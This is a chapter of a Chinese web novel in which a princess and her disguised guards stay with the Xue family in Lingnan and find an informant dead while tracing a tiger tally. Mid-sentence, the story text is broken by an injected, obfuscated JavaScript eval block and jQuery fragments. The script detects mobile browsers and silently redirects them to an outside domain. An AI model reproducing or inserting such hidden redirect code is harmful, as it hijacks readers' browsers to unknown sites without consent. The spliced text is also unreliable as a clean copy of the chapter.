13.岭南薛家

作品:《谁盼这华衣

    “噼啪——”


    柴火在晚风中轻轻作响,跃动的火苗将周遭映照得忽明忽暗。


    这是三人今日正经吃上的第一顿饭。白天为了赶路,他们只在颠簸的马车上凑合啃了几口干粮。


    若不是前方山路越发难行,又担心夜雨路滑,白霄恐怕还不会下令停车,而是趁着夜色继续前进。


    江以清不知从哪儿逮来一只野鸡,用几片宽大的草叶松松裹住,又拾来一捧枯枝,拢起火堆烤了起来。


    火光摇曳,鸡皮在灼热中渐渐泛起焦黄,油珠从皮下渗出,滋滋作响。一股混着草叶清香的肉味在空气里悠悠飘散开来。


    “好香啊。”白霄不由得赞叹。


    江以清将烤好的鸡肉轻轻撕开,用木叉仔细地固定在几根细棍上,分别递给一旁的白霄和江以宁。


    白霄正握着根长木棍,低头专注地拨弄着篝火里的木柴。察觉到递到眼前的烤鸡,她便随手接过一根。


    “她不吃肥肉的,公主换这个吧。”江以清下意识脱口而出,话音未落,已将手中的另一根鸡肉递到了白霄面前。


    空气仿佛在这一刻凝滞。反应过来刚才发生了什么,江以清和江以宁对视一眼,双双僵在原地。


    “你怎么知道得这么清楚?”白霄果然对这句话起了疑,手中的动作一顿,目光狐疑地扫了过来。


    “额……我是前几日在据点用饭时发现的。”江以清忙垂下眼,指尖无意识地绞着衣角,“我瞧见徐姑娘碗里剩了不少肥肉,自己胡乱猜的。”


    白霄仔细回忆了一下,好像确实有这么回事。虽然心里还是有点将信将疑,却也没再继续追问下去了。


    白霄的母亲与薛家是故交,得知白霄一行即将南下岭南,薛家早早便寄来书信,邀他们落脚暂住。


    一路车马辗转,风尘仆仆,跋涉数日之后,几人终于踏入了岭南地界。


    “临湘!临湘!”


    白霄的马车还未停稳,少年清亮的声音已传到几人跟前。


    “是我,我来了。”白霄笑着回答。


    薛家嫡长子薛珩的母亲是白霄额娘的亲妹妹,白霄年幼时,薛珩的母亲总爱抱着薛珩到皇宫里去,让他与白霄一同玩耍。


    时隔多年,再次见到儿时的伙伴,白霄也很高兴。


    江以清好奇地抬眼望去,只见薛珩身着一袭素色长衣,看似简洁,却在日光下隐隐浮现出繁复精致的暗纹,想来应该价值不菲。


    他生得一副周正大气的国字脸,浓眉之下,那双眼睛宛如浸过水的黑葡萄,清亮有神。


    高挺的鼻梁本应带来几分冷峻,却被圆润的鼻头与饱满的脸颊柔和了轮廓。只一眼,便叫人不由自主地心生好感。


    薛珩激动地紧紧握住白霄的双手,将她从头到脚仔细看了个遍。


    “你长高了不少。”他声音里带着抑制不住的欣喜,“也更好看了。”


    像是看不够似的,他又绕到白霄身后,不肯放过白霄身上的每一处。


    “行了行了,别看了。”白霄伸出手把薛珩从身后拽回来,朝他翻了个白眼。


    薛珩也向白霄甩去一记白眼,随后习惯性地朝她身侧望去。


    “咦,这次胡桃怎么没来?”


    薛珩的目光在白霄身边游离,最终落在江以清的脸上。


    “这位小哥是谁啊,我好像从来没见过呢。”


    “胡桃前些日子请辞成婚去了。这位是江以清,我的另一个贴身侍卫。”白霄向薛珩介绍道。


    “什么?他结婚了?”薛珩一下子张大了嘴巴,“这小子,这么大的事,居然都不通知我!”


    “遇见了真正心动的人,突然决定结婚,倒也是情理之中的事。”一直安静站在一旁的江以宁忽然开口。


    薛珩这才注意到白霄身边竟还站着一位美人。


    “这位是晋州徐氏的长女徐渺。前些日子我在关中治理大旱,多亏了徐小姐的鼎力相助。”


    白霄话音未落,薛珩的目光便已定定地落了过去,再也移不开半分。


    他从未见过这样的女子,美得不仅令人心动,更带着几分说不清的独特气韵。


    江以清察觉到薛珩那毫不掩饰的灼热目光,连忙伸手制止:


    “薛公子别再看了,请你自重。”


    薛珩一脸委屈,转头看向白霄,想寻个帮腔。


    白霄却故意板起脸:


    “听见没?别打我们徐小姐的主意,小心我扒了你的皮。”


    “小气鬼。”薛珩鼓起一侧的腮帮子,“人家徐小姐都没说什么呢。本少爷风度翩翩、玉树临风、气宇轩昂,说不定徐小姐就欣赏我这样的呢!你说是吧,徐小姐?”


    薛珩那副自恋的模样惹得几人都忍不住笑出声。


    白霄见状,伸手轻推他的肩膀,催促道:


    “别在这儿自夸了,我们都在门口站半天了,快带我们进去吧。待会儿我还有正事要办呢。”说着便将薛珩朝薛府大门的方向推去。


    “好吧好吧,你们跟我来便是。”


    薛珩撇了撇嘴,领着众人往前走去。江以清这才找到机会再次挪到白霄身侧,与她并肩走在了一起。


    薛家不愧是四大家族之一,其府邸虽不及谢府那般恢弘气派,却也处处精致无比。一砖一瓦、一草一木,皆显露出玲珑奇巧的富贵之态。


    薛珩将几人分别安顿在不同的房间,几人便就此暂住下来。


    江以宁的房间离薛珩最近,每次出门走动时,十有八九会与薛珩不期而遇。


    根据线人密报,虎符最后一次出现的地点,是附近一个每逢傍晚才开市的露天集市。


    待到集市开启,白霄便带着江以清马不停蹄地前往调查。


    傍晚的集市很快热闹起来,人流如织,叫卖声此起彼伏。


    两人一边走着,一边用眼神细细搜索线人所说的那个杂货摊。


    “大姐,您认识一个叫老刘的人吗?是开杂货摊的。”


    几度搜寻无果,白霄只得向水果摊的大姐打听那名商贩的去向。


    “他啊。”大姐努力回想着,“你这么一提,老刘好像是有好几天没见着人影了。要不,你们去他家看看?”


    说着,她抬手往东边指了指。白霄与江以清对视一眼,便朝着那方向走去。


    老刘的家在一个偏僻的角落里。白霄敢断定,若不是专程来访,绝没有人会留意到这个地方。


    房门被锁得死死的,江以清用力将门撞开。扬起的灰尘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483555|183961||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在光线里打着转,两人被呛得直咳嗽,好一会儿才缓过来。


    “老刘?”


    白霄试探着朝屋内问了一句。


    无人应答。


    两人对视一眼,只得继续向深处走去。


    几个房间早已被翻得狼藉不堪,衣物被胡乱扯出散落一地,枕头撕裂露出里面的棉絮,陶瓷杯子的碎片溅得到处都是。


    “不好,有人比我们先来过这里。”白霄低声说。


    那名杂货摊的老板此刻正蜷在屋角,双眼紧闭。江以清伸手探了探他的鼻息,随即收回手,摇了摇头。


    “可恶。”白霄声音中透着不甘,“还是来迟了一步。”


    线索因此戛然而止。两人把老刘家里翻了个底朝天,也没找到半点有用的东西,只能暂时返回。


    夜色渐深,两人回到薛府时,院中早已点起了灯。


    “徐小姐,你瞧我做的这盏灯笼好不好看?“


    才踏进门,白霄与江以清便看见薛珩提着一盏精巧的灯笼,紧跟在江以宁身后。


    “嗯,是还不错。”江以宁礼貌性地凑近灯笼端详片刻,淡淡回应道。


    “嘿嘿,我就知道徐小姐一定会喜欢!”薛珩闻言眼睛一亮,语气里藏不住地欢喜,“既然徐小姐喜欢,那这盏灯笼就赠予你了,还请徐小姐务必收下。”


    薛珩说着就要将手里的灯笼塞给江以宁,江以宁想找借口推却,两人互相推让间,那灯笼不慎跌落在地,霎时火苗窜起。


    白霄还未来得及反应,江以清便已经冲了上去,将江以宁护在身后。


    翻腾的火舌擦过他的裤脚,瞬间灼开一个焦黑的破洞。


    直到最后一簇火苗被家仆们扑灭,江以清才猛地回过神,松开了一直紧紧护着的江以宁。


    “你干嘛贴徐小姐那么近!”薛珩看着江以清保护江以宁的姿态,心头莫名窜起一股无名火,“男女授受不亲的道理都不懂吗?”


    他一个箭步上前,不由分说地将两人用力分开。


    江以清心虚地看向白霄,正对上白霄直勾勾盯过来的目光。


    这下怎么解释也解释不清了。


    当众人各自散去后,江以清犹豫片刻,还是来到了白霄房前,想向他解释一下今日发生的事情。


    白霄的门虚掩着,江以清刚要叩门,便被白霄拉了进去。


    “这么晚了,你一个男人来我房间做什么?”


    “我……”江以清张了张嘴,来时在心底反复排练的说辞,在白霄的注视下,竟化作一片空白。


    “要是你也是为徐小姐来的,那现在就可以回去了。”见他沉默不语,白霄的目光更添几分压迫,直直望向他。


    “也?”江以清江以清有些惊诧地捕捉到这一字眼,语气一紧,“是不是那薛家少爷又来纠缠徐小姐了?”


    “你这么激动做什么?”白霄打断他,目光里带着审视,“你最近似乎对徐小姐的事格外上心啊。”


    她继续向前逼近,声音压低:


    “怎么,是喜欢上她了?”


    “我才不喜欢徐小姐呢……”江以清几乎是脱口而出。


    “哦?”白霄眉梢微挑,玩味的笑意再度漫上唇角,“那你喜欢的是谁?”